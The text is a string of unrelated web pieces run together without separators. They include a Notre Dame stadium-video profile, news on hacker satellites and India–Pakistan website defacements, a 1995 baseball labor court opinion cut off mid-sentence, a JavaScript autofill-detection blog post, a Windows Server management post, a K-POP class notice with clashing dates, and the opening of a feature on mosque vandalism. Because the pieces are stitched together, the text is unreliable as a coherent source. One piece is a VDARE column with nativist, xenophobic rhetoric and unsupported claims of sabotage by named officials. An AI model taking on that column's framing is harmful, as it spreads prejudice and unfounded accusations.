"Music is a big part of what we do and the band is a big part of that. I'm looking to visually enhance that aspect and make sure we're all on the same page. That's my job as executive producer--communicate more than probably is needed."
Bonner expects to work from plenty of football-related content--as well as show features on academics, sustainability and other campus activities and events. The award-winning "What Would You Fight For?" spots will be shown, as well as the Team Irish and faculty recognitions, plus a variety of other pieces involving institutional messages and features.
"I've got a whole lot of content to roll out and test. And that's a big part of what we do. I've got to know what this is like from the fan experience. So, I like to run content and stand out on the field and watch it. Sit in a seat and watch it--not just watch it from the computer screen that it was edited on. It might look great there, it might sound great there -- but then you put it into a stadium environment, and you might have to tweak a few things. And then there are things that you run and you say, `Well, that didn't work. We're not going to do that again.' It happens."
############
While Notre Dame's marketing staff in prior years has worked off a game script and communicated in-game with the band, the introduction of the video board will significantly raise that coordination requirement level, including with NBC.
"I've already met with the NBC staff multiple times," says Bonner. "I went to Stamford (Connecticut, home of the NBC Sports offices and production facilities) and met with Rob (Hyland, NBC producer of Irish games). Rob was the producer at the game at Yankee Stadium in 2010, I happen to know Pierre (Moossa, the NBC director) and I know Pierre's wife Ashley who works at the YES Network. So, we have some relationships there."
Bonner's inside access means he can show the Irish team live as it says its pregame prayer, walks down the stairs past the "Play Like A Champion Today" sign and then into the Notre Dame Stadium tunnel. Next comes a 75-second intro video. He expects all those live shots on the board to play significant roles in building crowd energy as the team prepares to take the field.
Once the game ends, Bonner and his staff will produce a postgame show from the South Club with a reporter field-side to interview players.
Bonner also understands lots of Notre Dame fans are wed to traditions. That's one reason he expects to continue to use Sergeant Tim McCarthy safety messages--except this year they'll be delivered on video by Notre Dame fan favorites including Tim Brown, Joe Theismann and Jerome Bettis.
"We'll continue to do things like that," says Bonner. "And hopefully we'll build some new traditions where people will say, `Hey, that's Notre Dame. That's what that's all about.'
"The idea is for what we do to build that momentum that gets the crowd into it. Those are going to be the things that are the big difference.
"There's nothing cooler for someone who produces a show then to have the reaction that you hope happens from the crowd from a video you roll or a replay you show. So, a great catch happens and you hear the crowd go, `Ohhh.' Or the video ends and they just go ballistic. That's one of the coolest rushes we have. And those are the things that we'll be looking to achieve here.
"I think it's going to be a great show, I really do. I think we can do it because we have people in place and we have buy-in from the staff and the University.
"I'm looking forward to it."
For a life-long Notre Dame fan like Bonner, in a way he's been looking forward to it for a long time.
He hopes fans will quickly become accustomed to what the video board brings to the Saturday experience.
For now, anyway, he's got the most interesting job on campus.Image caption 50 years after Russia's first piloted mission, hackers plan to send their own people beyond orbit
Computer hackers plan to take the internet beyond the reach of censors by putting their own communication satellites into orbit.
The scheme was outlined at the Chaos Communication Congress in Berlin.
The project's organisers said the Hackerspace Global Grid will also involve developing a grid of ground stations to track and communicate with the satellites.
Longer term they hope to help put an amateur astronaut on the moon.
Hobbyists have already put a few small satellites into orbit - usually only for brief periods of time - but tracking the devices has proved difficult for low-budget projects.
The hacker activist Nick Farr first put out calls for people to contribute to the project in August. He said that the increasing threat of internet censorship had motivated the project.
"The first goal is an uncensorable internet in space. Let's take the internet out of the control of terrestrial entities," Mr Farr said.
He cited the proposedStop Online Piracy Act (Sopa)in the United States as an example of the kind of threat facing online freedom. If passed, the act would allow for some sites to be blocked on copyright grounds.
Beyond balloons
Although space missions have been the preserve of national agencies and large companies, amateur enthusiasts have launched objects into the heavens.
High-altitude balloons have also been used to place cameras and other equipment into what is termed "near space". The balloons can linger for extended amounts of time - but are not suitable for satellites.
The amateur radio satellite Arissat-1 was deployed into low earth orbit last year via a spacewalk by two Russian cosmonauts from the International Space Station as part of an educational project.
Students and academics have also launched other objects by piggybacking official rocket launches.
This [hacker] community can put humanity back in space in a meaningful way Nick Farr, Hackerspace Global Grid project
However, these devices have often proved tricky to pinpoint precisely from the ground.
According to Armin Bauer, a 26-year-old enthusiast from Stuttgart who is working on theHackerspace Global Grid, this is largely due to lack of funding.
"Professionals can track satellites from ground stations, but usually they don't have to because, if you pay a large sum [to send the satellite up on a rocket], they put it in an exact place," Mr Bauer said.
In the long run, a wider hacker aerospace project aims to put an amateur astronaut onto the moon within the next 23 years.
"It is very ambitious so we said let's try something smaller first," Mr Bauer added.
Ground network
The Berlin conference was the latest meeting held by the Chaos Computer Club, a decades-old German hacker group that has proven influential not only for those interested in exploiting or improving computer security, but also for people who enjoy tinkering with hardware and software.
When Mr Farr called for contributions to Hackerspace, Mr Bauer and others decided to concentrate on the communications infrastructure aspect of the scheme.
Image caption Mr Bauer says the satellites could help provide communications to help put an amateur into space
He and his teammates are working on their part of the project together withConstellation, an existing German aerospace research initiativethat mostly consists of interlinked student projects.
In the open-source spirit of Hackerspace, Mr Bauer and some friends came up with the idea of a distributed network of low-cost ground stations that can be bought or built by individuals.
Used together in a global network, these stations would be able to pinpoint satellites at any given time, while also making it easier and more reliable for fast-moving satellites to send data back to earth.
"It's kind of a reverse GPS," Mr Bauer said.
"GPS uses satellites to calculate where we are, and this tells us where the satellites are. We would use GPS co-ordinates but also improve on them by using fixed sites in precisely-known locations."
Mr Bauer said the team would have three prototype ground stations in place in the first half of 2012, and hoped to give away some working models at the next Chaos Communication Congress in a year's time.
They would also sell the devices on a non-profit basis.
"We're aiming for 100 euros (£84) per ground station. That is the amount people tell us they would be willing to spend," Mr Bauer added.
Complications
Experts say the satellite project is feasible, but could be restricted by technical limitations.
"Low earth orbit satellites such as have been launched by amateurs so far, do not stay in a single place but rather orbit, typically every 90 minutes," said Prof Alan Woodward from the computing department at the University of Surrey.
Any country could take the law into their own hands and disable the satellites Prof Alan Woodward, Surrey University
"That's not to say they can't be used for communications but obviously only for the relatively brief periods that they are in your view. It's difficult to see how such satellites could be used as a viable communications grid other than in bursts, even if there were a significant number in your constellation."
This problem could be avoided if the hackers managed to put their satellites into geostationary orbits above the equator. This would allow them to match the earth's movement and appear to be motionless when viewed from the ground. However, this would pose a different problem.
"It means that they are so far from earth that there is an appreciable delay on any signal, which can interfere with certain Internet applications," Prof Woodward said.
"There is also an interesting legal dimension in that outer space is not governed by the countries over which it floats. So, theoretically it could be a place for illegal communication to thrive. However, the corollary is that any country could take the law into their own hands and disable the satellites."
Need for knowledge
Apart from the ground station scheme, other aspects of the Hackerspace project that are being worked on include the development of new electronics that can survive in space, and the launch vehicles that can get them there in the first place.
Image caption Until now launching communications satellites has proved to be too expensive for amateur groups
According to Mr Farr, the "only motive" of the Hackerspace Global Grid is knowledge.
He said many participants are frustrated that no person has been sent past low Earth orbit since the Apollo 17 mission in 1972.
"This [hacker] community can put humanity back in space in a meaningful way," Farr said.
"The goal is to get back to where we were in the 1970s. Hackers find it offensive that we've had the technology since before many of us were born and we haven't gone back."
Asked whether some might see negative security implications in the idea of establishing a hacker presence in space, Farr said the only downside would be that "people might not be able to censor your internet".
"Hackers are about open information," Farr added. "We believe communication is a human right."PlayStation Plus Won’t Be Required to Record and Stream Video of Games on PS4
Giuseppe Nelva August 8, 2013 5:42:34 AM EST
After we learned that Xbox Live Gold will be necessary to record and stream video of games on the upcoming Xbox One, many wondered if Sony Computer Entertainment would pull the same stunt with the similar feature on the PS4.
Since Shuhei Yoshida is well known for running an alternative “customer service” on Twitter, by his own admission, many took to the social networking site to ask him the burning question, quite a few times. Luckily the answer is no. Yoshida-san confirmed that the recording and streaming feature will be accessible to everyone, regardless of their PlayStation Plus subscription status.
That’s most definitely what you call concise but sweet, straight from the lion’s mouth. If you were afraid to have to pay for PlayStation Plus in order to access the recording and streaming features, you can now rest easy.880 F. Supp. 246 (1995)
Daniel SILVERMAN, Regional Director for Region 2 of the National Labor Relations Board, for and on behalf of the National Labor Relations Board, Petitioner,
v.
MAJOR LEAGUE BASEBALL PLAYER RELATIONS COMMITTEE, INC. and the Constituent Member Clubs of Major League Baseball, Respondents.
No. 95 Civ. 2054(SS).
United States District Court, S.D. New York.
April 3, 1995.
*247 *248 *249 The National Labor Relations Bd. Region Two, New York City, Fred L. Feinstein, General Counsel, Daniel Silverman, Regional Director, Donald B. Zavelo, Ian M. Penny, of counsel, for petitioner.
Morgan, Lewis & Bockius, Washington, DC, Francis L. Casey, III, Lisa Klein Wager, New York City, of counsel, for respondent.
Charles O'Connor, General Counsel, Major League Baseball Player Relations Committee, New York City, Bredhoff & Kaiser, Washington, DC, George H. Cohen, Virginia A. Seitz, of counsel, McGuire, Kehl & Nealon, LLP, New York City, Harold F. McGuire, Jr., of counsel, for Major League Baseball Players Ass'n.
*250 AMENDED OPINION AND ORDER[1]
SOTOMAYOR, District Judge.
This is an action brought by Petitioner, Daniel Silverman, the Regional Director for Region 2 of the National Labor Relations Board (the "Board" or "NLRB"), seeking a preliminary injunction under Section 10(j) of the National Labor Relations Act (the "Act" or "NLRA"), as amended 29 U.S.C. §§ 151-169 (1988), pending the final disposition of charges presently before the Board. Respondents in this action are the Major League Baseball Player Relations Committee, Inc. (the "PRC"), the collective bargaining representative for the twenty-eight (28) Major League Clubs (collectively the "Owners").
The Major League Baseball Players Association (the "Players") is the collective bargaining unit for the forty-person rosters of each of the Major League Clubs. On March 15, 1995, on the basis of charges filed by the Players, the Board issued a Complaint and Notice of Hearing alleging, inter alia, that the Owners had violated Sections 8(a) (1) and (5) of the Act by unilaterally eliminating, before an impasse had been reached, salary arbitration for certain reserve players, competitive bargaining for certain free agents, and the anti-collusion provision of their collective bargaining agreement, Article XX(F). After the Board concluded that there was reasonable cause to believe that a violation of the Act had occurred and that injunctive relief was just and proper, it filed this Petition on March 27, 1995. The Board, the Owners, and the Players, who were permitted to participate in this action, thereafter filed papers in support of their respective arguments.
During a telephone conference with me on March 30, 1995, all parties agreed that the only issues before the Court were questions of law and that no witnesses would be necessary at the hearing to be held on March 31, 1995. Having reviewed all of the submissions of the parties and having given them a full opportunity to be heard, I have concluded that the Board has reasonable cause to believe that the Owners have committed an unfair labor practice, and that an injunction is just and proper to avoid irreparable injury and to ensure that the Owners and Players continue bargaining, in good faith, until the resolution of their disputes, or a genuine impasse untainted by the unfair labor practices, or the determination by the NLRB of the charges before it, whichever occurs earliest.
FACTS
I recognize that baseball purists will wince at my simplified explanation of the very complex relationship between the Owners and Players which has evolved since 1966 in their collectively bargained Basic Agreements. Similarly, others will be disappointed by my cursory description of the prolonged negotiations between the parties. The purpose of my recitation here, however, is only to highlight the facts giving rise to the central issues before me.
The most recent Basic Agreement between the parties extended from January 1990 through December 1993. The Agreement covered a multitude of employment terms and conditions. The pertinent provisions of the Agreement to the issues before me involve the Agreement's reserve and free agency systems. Essentially, the free agency system permits players who have completed six major-league playing seasons to set their wages with individual owner clubs. See Basic Agreement, Article XX(B), attached as Ex. D to Pet'r Mem.P. & A.Supp.Pet.Prelim.Inj. The anti-collusion provision of the Basic Agreement, Subsection F of Article XX, provides, in relevant part, that the wage process between the free agent individual player and club owner
is an individual matter to be determined solely by each Player and each Club for his or its own benefit. Players shall not act in concert with other Players and the Clubs shall not act in concert with other Clubs.
*251 The Basic Agreement also limits the number of free agents in two top performance categories that each club may sign. Id. at Article XX(B) (5). Once a player with six years or more seasons of play (hereinafter a "six-plus player") has exercised his right to become a free agent, he must play an additional five years in the Major League before he is again eligible for free agency. Id. at Article XX(D) (1).
With respect to reserve players, i.e., those with less than six years of experience, there is a standard agreement called the Uniform Player's Contract ("UPC"). The UPC, which is incorporated into the Basic Agreement, is a boilerplate contract whose execution essentially requires the parties only to fill in the blanks with information such as the player's name, the club's name, and the dollar amount of salary agreed upon. The Basic Agreement sets the minimum salary for a player's first-year contract. At the end of that first year, an owner may tender a player an additional year's contract in an offer under terms whose parameters are dictated by the Basic Agreement. If the player refuses the offer, the owner is entitled to "reserve" the player's services and the player is not permitted to play for other teams. An owner may only reserve a player once under this system.
All players with more than three but less than six years of play are eligible for salary arbitration.[2] If an owner and player cannot agree to a salary figure, either may insist, without the consent of the other, that the figure be set in salary arbitration. Under this process, the owner and the player sign a UPC and each submits a salary figure to an arbitrator. See Basic Agreement, Article VI(F). The arbitrator then picks one of the two submitted figures using evaluation criteria set forth in the Basic Agreement including comparison with figures for performance comparable free agents. The arbitrator has no authority to pick a number that she or he believes is more equitable than the numbers submitted by the parties. Id. Any salary dispute, regardless of the seniority of the player, may also be submitted to arbitration but only if both parties consent. Id. at VI(F) (1).
Those players with less than six playing seasons and others who have not become free agents remain "reserved" to their individual clubs under the Basic Agreement. Essentially, a reserve player may become a free agent if the club breaches his UPC by, for example, failing to paying him; or if the club does not tender him a contract; or if the club terminates the player for poor performance or failure to |
]. VDARE.com Editor Peter Brimelow called for Obama’s impeachment over it—and the option was seriously discussed i.e denounced as Unthinkable by the same Main Stream Media now eagerly Thinking about Trump’s impeachment.
Why should a Republican Congress that supposedly defends a strict reading of the Constitution reward Obama’s unconstitutional actions like this?
And what’s more, why would the author of The Art of the Deal throw away his most powerful bargaining chip even before negotiations have begun?
One possible answer: simple incompetence. But the real answer may be even worse. President Trump may be about to sell out his base in order to reward the very GOP Establishment that did its best to destroy him.
Legislative Director Marc Short said a tax cut is “essential” for President Trump. He added that the recent deal with the Democrats to raise the debt ceiling has created a “new season of bipartisanship.”
Thus, Short seems to be suggesting President Trump will give the Democrats DACA in exchange for a tax cut and the hope that a border wall be funded…later.
Yet President Trump doesn’t need the Democrats for the wall, or even a spending increase. He could fund the wall by taxing remittances, which was also discussed during the campaign. But for some reason, this common-sense idea is not even being broached.
Moreover, as Breitbart’s Neil Munro observes:
Many top Democrats — and many of the Democrats’ constituency groups — have repeatedly said they oppose construction of a border fence. Also, Democrats have a huge incentive to oppose the border wall because Trump’s failure to build the wall will cripple his reelection chances in 2020. Trump’s 2020 chances will be even worse if he also accepts a wage-lowering Amnesty as a trade for the corporate tax cut. [Donald Trump’s Congressional Deputy Trades DACA Amnesty For Tax Cuts, Not Border Wall, September 12, 2017]
It’s bad enough when Republicans go out of their way to screw the working class to reward the rich at a time of rising class inequality. For someone like Trump, who was elected via the massive turnout of working class whites, it is suicide.
This is basic political strategy. So why is Donald Trump’s own Legislative Director so blind to this?
The answer: he probably isn’t. Like most Republican operatives, Short simply doesn’t want Donald Trump to succeed.
Marc Short is the former president of the Koch Brothers’ “Freedom Partners.” He not only worked for Open Borders billionaires but he tried to convince them to throw their money behind an effort to stop Donald Trump during the Republican primaries in the last election:
He led a faction inside the Koch network that had become convinced of the need to neutralize Donald Trump before his momentum made him unstoppable. Fresh off Trump’s landslide victory in New Hampshire one week earlier, and staring down another likely Trump win in South Carolina that Saturday, Short and his lieutenants had come to Wichita to present Charles Koch with a detailed, eight-figure blueprint for derailing the Republican front-runner on Super Tuesday, when eleven states would vote. They hoped to get the green light to hammer Trump with ads in the states where he was most vulnerable. [Exclusive: In Koch World ‘Realignment,’ Less National Politics, by Tim Alberta & Eliana Johnson, National Review, May 16, 2016]
Short failed to get the money for the anti-Trump program he wanted. So he left “Freedom Partners” and went to work for the Marco Rubio campaign.
Personnel is policy, as anyone in politics will tell you. And with few exceptions, Donald Trump seems to have rewarded his worst enemies rather than those who supported him during the campaign when it comes to jobs within his Administration. Needless to say, they have been doing their best to sabotage him since Day One.
As Steve Bannon put it in his recent interview, the “Original Sin” of the Trump presidency was embracing the GOP Establishment within 48 hours of his improbable victory [Steve Bannon: ‘Original Sin’ of Team Trump was embracing the Establishment, by Charlie Spierling, Breitbart, September 10, 2017].
No doubt President Trump was looking for political expertise when he reached out to Trump’s enemies. The problem: the GOP Establishment is objectively bad at politics.
Donald Trump won because of his policies, which overcame his many flaws and self-inflicted wounds. Donald Trump will continue to win if he stands by the policies which got him elected.
But if Donald Trump tries to become just another Republican, he will lose. And he’ll lose more spectacularly than even Mitt Romney or John McCain did.
Which is why, as I predicted long ago, it is time to rise against Trump, albeit in his name and in his own true interests. If President Trump follows the guidance of people like Paul Ryan and Marc Short, he will be out of office in 2020 (if not before). And he will have squandered the last, best chance for America to continue as an English-speaking First World country instead of just another diversity-ridden dystopia like Brazil.
It’s not about Trump. It’s about America.
And the President should remember that it’s about America, before—in inexplicable contradiction of his entire life history of punishing enemies and rewarding friends—he puts his own future in the hands of his (Democratic and Republican) enemies.NEW DELHI. Even as gunfire continues to be traded across the Indo-Pak border, a full-blown hacking and defacement war has erupted in cyberspace. On Thursday, over a dozen Indian and Pakistani websites were defaced by hackers from either side of the fence.The website of the Press Club of India (PCI) in the capital was hacked and defaced, with the hackers' message on the website's home page claiming Pakistani origin.A hacker group calling itself "Indian Hackers Online Squad" hacked and defaced the website of the Pakistan's main opposition party, Pakistan People's Party (PPP), www.ppp.org.pk on Wednesday, with one "Bl@k Dr@gon" claiming credit. On Thursday, the Pakistan railways website was hacked as well, the second time this year, with the same name appearing on the defaced page.Responding to a Wednesday attack on Malayalam films actor Mohanlal's website, a group called "The Mallu soldiers" defaced the website of Pakistan's National University of Modern Languages. The websites of Quaid-e-Azam Public College in Gujranwala (http://qpc.edu.pk/), Pakistan Electric Power Company (Private) Limited (www.pepco.gov.pk) and National Manpower Bureau (www.nmb.com.pk) were also among the sites hacked by anonymous Indian hackers.The "about me" page of singer Sonu Nigam's official website and teammodi.in were also defaced by a group claiming to be "Pakistan Cyber Attackers". Two Punjab news websites were also reported to have been hacked.Cyber security consultant Rakshit Tandon says that he had been getting constant calls throughout Thursday to report these incidents. The hackers claimed to be from Pakistan and India. But Tandon feels it would be wiser to wait for the investigation to confirm their locations. "It is easy for someone to use a proxy server and claim to be coming from anywhere in the world," says Tandon, also advisor to the Gurgaon cyber cell.Even as the hackers continued well into Thursday night, hashtags like #BuzdilPakistan have been trending in India on Twitter, while the Paksitan top trends feature tags such as #CowardModi, #freekashmirfromindia, #IndiaIsTerrorist, and #SayNoToBollywood.Asking people to calm down, Indo-Pak friendship group Aaghaz-E-Dosti has asked netizens not to ignite the tension. "We must know that for both the countries, peace is of utmost importance and also our common need is being focused on development rather than spending huge money of taxes for arms and ammunition...We believe that any dispute can be resolved only by talk and mutual negotiation and agreements and not with violence," said a statement released by the group of youths from India and Pakistan.A recent report from the Indian Computer Emergency Response Team (CERT-In) says the agency handled 71,780 cyber attacks and tracked 24216 Indian website defacements in 2013. "Most of the defacements were under '.in' domain, in which a total 15490 '.in' domain websites were defaced," says the report.The PPP defacement responded to party chairman and Bhutto family scion Bilawal Bhutto Zardari's comments on taking back Kashmir from India. The website was defaced with memes deriding his comments on Kashmir. "To Citizens of Pakistan, Pakistan's Army, Pakistan Peoples Party and Specially Mr. Bilawal Bhutto- Zardari. Without any Violence Let Me tell you that Pakistan will never Get Kashmir. This is the Truth. You Have to Accept it :)" said the message on the page.Press Club of India officials said the breach on the PCI website took place about four days ago. The PCI has filed a complaint with the cyber crime cell in Mehrauli. This is the second time in three years that their website – pressclubofindia.org has been hacked.The message on the defaced home page of the press club website read, "Our Target is your Government's Websites... We will Inshalaah with The help of Many Muslim Hackers Take You Off From The InterneT! Your Credit Cards, Your Bank's Account, Your Servers... Are In Danger! We Never Forget what You Do (sic) against the Humanity...In Jammu and Kashmir Millions Of People Were Dead..., Pakistan's Muslims Are Killed In The Force's Attacks... Indian Forces Destroyed Kashmir's Families...Killed Innocent Childrens (sic)... But No One Cares!!!! You Want To Stop Us!! But Let me guess! Can a Men (sic) Catch a Shadow?!"PCI officials said there was no risk of data being compromised as the website only featured public event details, daily menu updates and other such public information. "No data has been compromised and members have nothing to worry about. Only the home page has been defaced," PCI general secretary Nadeem Ahmad Kazmi told TOI.The periodic online attacks have been going on for some years. Pakistani newspaper The Express Tribune reported back in 2011, that Indian hackers had defaced the website of the Karachi Press Club. In 2010, a group of hackers identifying themselves as the "Indian Cyber Army" had reportedly defaced 36 Pakistani government websites. This, in turn had happened after the CBI website was defaced. In August this year, an Indian hacker group that calls itself "Black Dragon Indian Hacker Online Squad" hacked and defaced the official Pakistan railways website.(With inputs from Jisha Surya in Thiruvananthapuram and Jayanta Deka in Lucknow)Paul Kinlan October 17 2016
Autofill has a chequered history filled with what I believe is a mild case of FUD. Chrome for the longest time decided to ignore autocomplete=off on forms and fields because we believed that autocomplete provides a huge amount of value for users especially in the context of mobile.
One of the problems is that is incredibly hard to measure how impactful autocomplete is to your site. There aren’t really any events that happens when “autocomplete” occurs, so how do you measure what you tell has happened?
I think there is a way, but it is not consitent across browsers.
WebKit and Blink engines (Chrome, Samsung and Opera…)
For a long time, WebKit had a pseudo class call -webkit-autofill that will be applied to input elements that. When the Chrome team forked WebKit and turned it into the blink engine they also inherited this feature.
The -webkit-autofill pseudo class was designed to let you style and override the default “yellow” highlight when the browser executes the autofill. It is possible to use this pseudo selector to find all elements that have it applied using a simple document.querySelectorAll call as follows:
document. querySelectorAll ( 'input:-webkit-autofill' );
Likewise, you can listen to the input event on the input elements (or even on the document) and check to see if the event target would match the selector, as seen below:
document. addEventListener ( 'input', function ( e ) { var element = e. target. matches ( ':-webkit-autofill' ); if ( element ) { // Field auto-completed - Send an analytics event (or whatnot) } });
This works consistently across all WebKit and blink based browsers, however Mozilla haven’t implemented it. There are numerous StackOverflow answers that suggest :-moz-autofill works, it doesn’t.
There was also a thread a while ago to standardize this, but no action has been taken.
If you are searching for autocomplete you will also see an API called requestAutoComplete, it even has a handy onautocomplete event that is called when, well, the field is auto-filled. The problem is that his API is all but deprecated. I would love to see onautocomplete as an event that is triggered when the browser automatically fills the field. It is a very nice convenience function.
But the question still remains, how do you do this in Firefox and browsers that don’t support :-webkit-autofill?
Great question!
After some research that involved me crafting some simple tools for Firefox DevTools (I needed to be able to listen to all events happening on an element so I had to create a monitorEvents shim. Likewise, I had to also work out a way to find when an Element was created so I ended up making a utility to resolve a promise when an element is added to the DOM), I think I have found a way to detect autocomplete in Firefox (and consistently across all other browsers).
What I found was that the oninput event will fire without any other events be invoked, so there is no onkeypress, onkeyup etc. I think there can be some false positives but the signals look good.
var registerOnAutoComplete = function ( elementSelector ) { return new Promise( function ( resolve, reject ) { var element = document. querySelector ( elementSelector ); var hasKeyInteraction = false ; element. addEventListener ( "input", function ( e ) { if ( hasKeyInteraction === false ) { resolve ( e. target ); } }); element. addEventListener ( "keydown", function ( e ) { // If there is a keyboard interaction then we believe it is not autocomplete hasKeyInteraction = true ; }); }); };
Usage is pretty simple for individual elements.
< script > registerOnAutoComplete ( "input[name=email]" ). then (( element ) => { // Send some analytics data. }); registerOnAutoComplete ( "input[name=password]" ). then (( element ) => { // Send some analytics data. }); </ script > < form > < input type = "email" name = "email" > < input type = "password" name = "password" > </ form >
I think this is pretty interesting, you can get data on which fields have been autofilled by the browser but you have to register for an event on them. This is why I really like the idea of a custom onautocomplete event that as a developer I can listen for, or if necessary prevent.
I am going to do a couple more experiments, because I would also like to register this once at the <form> level and I would like to get feedback on if developers at large think this is as useful as I do.
My goal is to prove that autocomplete is a massive net-positive for users and businesses, but to do that we need to be able to measure it.
What next?
I would really like this to be properly standardized, that is:
Standardize and implement :autofill - CSS pseudo class so I can style but also select. Rip out onautocomplete from the requestAutoComplete spec and trigger it when the browser actually autocomplete allow the developer to preventDefault on onautocomplete if they have a better idea about what the data should be.Shares
It seems that Microsoft hasn't said their last word concerning GUI management for Microsoft Server systems. In this post we will discuss the new Project Honolulu but get back to Nano Server which seems to be dying fast. In fact, after trying to develop Nano server for some time, a very lightweight server node, recent news announced the end of life of Nano server (Spring 2018!!). Today we'll show you which direction for management is Microsoft preparing. It's called project Honolulu and it is a very very cool, especially for SMBs.
Project Honolulu is a flexible, lightweight browser-based locally-deployed platform and solution for Windows Server management scenarios for troubleshooting, configuration, and maintenance. It's not sure how it scales with large server management platforms, but as I said, perfect web management platform might just be around the corner.
The End of Multiple Consoles?
Probably, and it is a good news. You can replace multiple management and configuration tools, such as MMC snap-ins, Server Manager, Task Manager, etc., with a simplified server management experience.
All this is promised by Project Honolulu. For now, the project just got out of beta and it is in public tech preview. But many folks attending last week's Microsoft Ignite simply loved the presentations and demos there. The product is still in active development.
How about Nano?
But let's get back to Nano server first as we liked the idea of having a small lightweight server which could do a good job for some apps, such as web app etc. It seems that Microsoft has phased out Nano server and that current users will simply have to migrate their workloads somewhere else.
Some of Nano features which have been present so far will simply disappear from next release.
Quote:
However, starting with the new feature release of Windows Server, version 1709, Nano Server will be available only as a container base OS image. You must run it as a container in a container host, such as a Server Core installation of the next release of Windows Server.
Is Nano server dead?
It seems that yes.
Quote:
Windows PowerShell,.NET Core, and WMI are no longer included by default, but you can include PowerShell and.NET Core container packages when building your container.
What about existing Nano users?
They'll have to rebuild their nodes with Windows Server 2016 Server Core ( or desktop).
Server Management Platform called Project Honolulu – how does it look like?
What Microsoft says about the project Honolulu?
Quote:
Our vision continues with simplifying the experience where appropriate. Deployment is quick and easy, with no Internet dependency. Tools are familiar, and cover the core set of administrative tasks for troubleshooting, configuration, and maintenance. Some Windows Server capabilities, which were previously manageable only via PowerShell, now also have an easy-to-use graphical experience.
A web-based management for next decade? Will see…
Screenshots from Technet… (source link at the end of the article).
Stay tuned for more about this very promising product which might be integrated into the next release of Windows Server 2016.
A hyper-converged infrastructure with Project Honolulu….
System Requirements for Installation
First of all, it's necessary to understand that you can have two different kinds of installation:
Local (W10 only)
Gateway (WS 2016)
Directly on Management Server
Get a PDF Poster of Project Honolulu…
While you can install it on Windows 10 management computer, It installs as a network service on Windows Server 2016. And further requirements are needed, such as certificate (can be self-signed). You must specify the port that the service listens on, and it requires a certificate for HTTPS.
The installer can create a self-signed certificate for testing, or you can provide the thumbprint of a certificate already installed on the computer. Note that Windows Server 2012R2 isn't supported for the installation as Project Honolulu needs some underlying Powershell which isn't present on Windows Server 2012.
You'll need another browser than Internet Explorer, IE isn't supported.
Note from Microsoft:
Honolulu requires PowerShell features that are not included in Windows Server 2012 and 2012 R2. If you will manage Windows Server 2012 or 2012 R2 with Honolulu, you will need to install Windows Management Framework (WMF) version 5.0 or higher on those servers.+ Type $PSVersiontable in PowerShell to verify that WMF is installed, and that the version is 5.0 or higher. If it is not installed, you can download WMF 5.1.
Wrap Up:
It is certainly a good move from Microsoft which finally listen to customers willing to manage their Windows server with all their functions and configurations, including troubleshooting, with a single console. It's been quite a long time that different configuration functions needed different console every time. Sure, there was PowerShell, but not every admin is up-to-date with their PowerShell knowledge and practice. Having a possibility to configure, validate and change different configurations options within a light-weight web based console will certainly make more people happy.
More from ESX Virtualization:
Stay tuned through RSS, and social media channels (Twitter, FB, YouTube)
Source: Technet
Shares2017 K-POP Dance & Vocal Academy
The Korean Cultural Center of Los Angeles proudly presents the 2017 K-POP Dance & Vocal Academy. The goal of this program is to further develop the skills and interests of local dancers and singers interested in K-POP and its culture.
Program Details
Date: July 17 - July 28, 2017 Duration: 2 weeks Times:
Intermediate A (July 17- July 28) - Dance A 1:00PM - 4:00PM (Mon-Sat) - Vocal A 1:00PM - 4:00PM (Mon-Sat) Intermediate B (July 17- July 28) - Dance B 6:00 PM - 9:00 PM (Mon-Sat) - Vocal B 6:00 PM - 9:00 PM (Mon-Sat) Tuition: $0 - All classes will be free. Location: Korean Education Center (KEC), 680 Wilshire Pl #205, Los Angeles, CA 90005 Parking is provided.
Class Schedule
Week 1
7/17 (MON) 7/18 (TUE) 7/19 (WED) 7/20 (THU) 7/21 (FRI) 7/22 (SAT) Dance A (Day) 1:00pm - 4:00pm @ KEC Vocal A (Day) 1:00pm - 4:00pm @ KEC Dance B (Night) 6:00pm - 9:00pm @ KEC Vocal B (Night) 6:00pm - 9:00pm @ KEC
Week 2
7/24 (MON) 7/25 (TUE) 7/26 (WED) 7/27 (THU) 7/28 (FRI) Dance A (Day) 1:00pm - 4:00pm @ KEC Showcase Rehearsal1:00 - 5:00pm @ KCCLA K-POP Showcase6:00pm @ KCCLA Vocal A (Day) 1:00pm - 4:00pm @ KEC Dance B (Night) 6:00pm - 9:00pm @ KEC Vocal B (Night) 6:00pm - 9:00pm @ KEC
K-POP Final Showcase
Through the duration of the program, students and instructors will prepare a performance for the final showcase that will be held on the last day of classes. The K-POP Final Showcase will be a culmination of techniques and skills acquired from the program and will reflect each student’s growth. This will be a celebratory performance open to the public with special guests and per-formers. All friends and family are welcome to attend the event.
Showcase Details
Date: Friday, June 28, 2017
Time: 6:00pm
Venue: Korean Cultural Center of Los Angeles 5505 Wilshire Blvd., Los Angeles, CA 90036
5505 Wilshire Blvd., Los Angeles, CA 90036 Admission: Free
EligibilityAbraham Davis was sitting on a thin blue pad on the concrete floor of Cell 3 in a jail in western Arkansas when a guard came around with stamped envelopes and writing paper.
The first person he wrote to was his mother. Abraham, just shy of 21, had barely spoken to her since his arrest a few days before, and he had a lot to explain.
It all began on a night last October when he borrowed her white minivan and drove to the home of a friend. They’d gotten drunk on cheap whiskey. Kentucky Deluxe. Abraham agreed to drive his friend to a mosque in town. His friend drew swastikas and curses on the mosque’s windows and doors while Abraham stood watch in the driveway.
The next day, the vandalism was all over the news. Abraham watched the reports over and over on his phone, his stomach curdling with regret.
Even now, as he was facing up to six years in prison for the act, Abraham could not explain why he had done it.
He had grown up in Fort Smith, a city of tall oak trees and brick churches that has the look of a faded Polaroid. His father, charismatic but violent, died when Abraham was 5, leaving him with a feeling of powerlessness so intense that he has been trying to conquer it ever since. “Most of my life I’ve spent trying to train myself to become something that’s too strong to be broken through,” he said. Life has teed him up for a fight, and he walks tilted slightly forward, as if someone is pulling him with an invisible wire.
As a poor student in the high school on the wealthier side of town, Abraham often felt like an outsider. He walked, not drove, hung out on playgrounds, not in restaurants. He got into a lot of fights. He did poorly in school, but he doesn’t remember his teachers seeming surprised. Expectations were low, and he bent to fit them. He slept a lot in class. At 18, he dropped out.
Fort Smith has two country clubs, several golf courses, a Talbots and a symphony orchestra. But a proliferation of pawnshops and a circuit court crowded with indigent defendants are reminders of the grinding poverty all around, in the rural areas of western Arkansas and eastern Oklahoma.
For years, those divisions had been etched into the city’s geography. Poorer families lived on the north side of town and wealthier families on the south. Race followed the same pattern, with the south predominantly white and much of the city’s black population in the north.
